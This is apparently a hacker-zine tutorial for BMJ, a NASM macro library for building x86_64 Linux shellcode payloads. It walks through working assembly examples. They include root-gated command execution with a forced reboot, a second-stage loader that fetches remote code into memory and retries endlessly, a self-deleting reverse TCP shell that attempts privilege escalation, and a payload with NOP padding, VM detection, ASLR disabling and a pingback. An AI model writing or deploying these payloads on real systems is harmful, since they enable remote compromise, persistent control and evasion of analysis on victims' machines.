▀█████████▄           ▄▄▄▄███▄▄▄▄                ▄ 
   ███ 00 ███      ▄ █ █▀▀▀███▀▀▀█ █ ▄          █ █
   ███    ███      █ █ █fff███   █0x90          █ █ 
  ▄███▄▄90▄██      █ █ █   ███   █ █ █          █ █ 
 ▀▀███▀▀▀██▄         █ █   ███   █ █            █0x 
   ███0xc0██▄      █ █ █   ███   █ █ █          █ █ 
   ███c3  ███      █ █ █   0x0fff█ █ █     █    █ █ 
 ▄█████|████▀        ▀ █   ███   | ▀       █▄▄▄▄█ █ 
       |                         |             |
       |                         |             |
       |                         |             |
       |      .                  |      .      |      .   .      .  .      . 
       |    .   .                | * .         |  .  *     .   .     .
       | .  .                    | .   *       |   *  .   *   .    .
 ~~~~~~~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~   ~   ~   ~  ~   - - - - - - - - - - -  -   -   -   =]D>
       |   .   .                 |   *  *      |  .  *   *    .
       |      .                  |    .        |  . *  .   *     *
       |                         |      .      |     *  .  .   *
       |---- [Bare]              |             |      .    
                                 |             |
                     [Metal] ----|             |       
                                               |       
          [Jacket]-----------------------------|       


        ----{ Wintrmvte @ redcodelabs.io <*> }----



| - - - - [ Introduction ]

When I first started with manual shellcoding a few years back, I stuck with the x86_64 
32 bit platform due to a great amount of fantastic resources and references online 
(SLAE, to name one). 

Transition to 64 bit ecosystem was quite harsh, as code examples and write-ups often 
do not cover modern Linux scenarios in a low-level approach; and if they do, mostly 
basic concepts are addressed.

This tool doesn't bring anything new to the table, yet it might serve as a starting 
point for your next project. You will find here standard Nasm macros for task 
automation, as well as, some more complex ones to enrich your assembly techniques.



| - - - - [ Example #1 = Command Execution ]

We will start with a most straightforward example - arbitrary command execution.
Our code should check if it was executed with elevated privileges. 
If so, it will launch a shell command in background and attempt to reboot the host.

------------ cmd_exec.asm -----------
    BITS 64
    %include "bmj.asm"
    section .text
    global _start
    _start:
        is_root                     ; Returns 1 in RAX if UID=0
        cmp rax, 1                  ; Check above condition
        jne xit                     ; If not rut, quit execution flow with exit(0)
        run_bg "echo pvvned"        ; Desired command to run
        reboot
        xit:                        ; Program exit
        exit 0
--------------------------------------

Let's compile it:

    $ nasm -f elf64 -o cmd_exec.o cmd_exec.asm 
    $ ld -m elf_x86_64 cmd_exec.o -o cmd_exec

Try running the created ELF file with and without 'sudo' prefix.



| - - - - [ Example #2 = Time Manipulations and Second Stage Loaders]

Now let's create something more complex. Initially, our payload will set it's time to 
live (let's say 5 minutes). 

During this period, it will attempt to map a remote file (an executable, an LKM etc.) 
to a in-memory file descriptor.

If connection with the server which holds the file fails for some reason, it is 
re-tried in an infinite loop with 20 seconds of delay  between each connect(2) attempt.

Let's look at the code:

------------------------------- timed_stager.asm -----------
    BITS 64
    %include "bmj.asm"
    section .text
    global _start
    _start:

        set_ttl 5, MINUTES          ; We specify operational time of the payload using a pre-defined time constant
                                    ; After this time, current process receives SIGALRM and exits

        infinite_loop file_download, 20, SECONDS 

    file_download:           
        init_sock_tcp               ; New TCP socket in RAX
        push rax
        pop r11                     ; Save socket's fd for later use
        sock_connect "127.0.0.1", 4444
                                    ; File server's details specified above
        memfd_create                ; Create an in-memory file descriptor, and return it in RAX
        push rax
        pop r12
        fd2fd                       ; Read contents from one file descriptor and write to another
                                    ; Explicit operands are r11 (source) and r12 (destination), but any registers can be used
        ret                         ; Remember to end the 'file_download:' label flow with a 'ret' instruction
        . . .                       ; Now we can execute our file via 'fd_exec r12' macro, or do anything else we want with it (like mmap())
-------------------------------------------------------------

Notice that we don't have to specify server's IP address in hex, because 'sock_connect' 
macro has a built-in IP -> hex converter.



| - - - - [ Example #3 = Not Just a Reverse Shell]

The third example will consist of a simple reverse TCP shell.

It's executable is removed from the filesystem if certain conditions are met, and the 
process priority is increased (as seen in 'htop')

The payload also attempts to elevate privileges (and often miserably fails), and detaches
itself from TTY afterwards.

Full daemon-like behaviour (extending setsid(0x00)) can be found within the source of 
'daemon_init' macro, defined in section 0x05.

------------------------------- reverse_shell.asm -----------
    BITS 64
    %include "bmj.asm"
    section .text
    global _start
    _start: 
        remove_self                 ; The binary removes itself if it's size is circa current payload size ('fsize' variable)
        set_priority MAX_PRIO       ; We set process priority to maximum
        elevate_full                ; Privilege escalation attempt via SETGID(0) ats SETUID(0)
        tty_detach                  ; setsid(0x00) == detach from controlling TTY device
        revshell "127.0.0.1", 5555  ; Spawn a standard TCP reverse shell
        get_current_size_var        ; Initiate the 'fsize' variable used by 'remove_self' macro
-------------------------------------------------------------



| - - - - [ Example #4 = Size Padding and VM Detection]

In the last piece, let's use two padding macros for inserting a short NOP sled and 
extending payload's size up to 256 bytes in total.

It will also perform a dry pingback of an external host to ensure that payload's 
execution was successful.

Let's also specify a single virtualization detection method at the top, and a file 
lock to prevent eventual zombie-like behaviour of our code on a single host.

------------------------------- vm_and_stuff.asm -----------
    BITS 64
    %include "bmj.asm"
    section .text
    global _start
    _start:
        nops 40
        flock                          ; Enforce only a single process instance of the payload running concurrently
        vm_age                         ; Check if the sample was launched inside VM by inspecting /etc/hostname STATX structure
        disable_aslr                   ; Disable ASLR for further use
        sock_connect "127.0.0.1", 6666 ; Address for reverse TCP pingpack
        padd_byte 256, 0x90            ; Padds the payload size with '0x90' to reach exactly 256 bytes in total after being composed by Nasm
-------------------------------------------------------------


Thanks for reading, and see you in vol. III ! o/

[0] https://github.com/redcode-labs/BMJ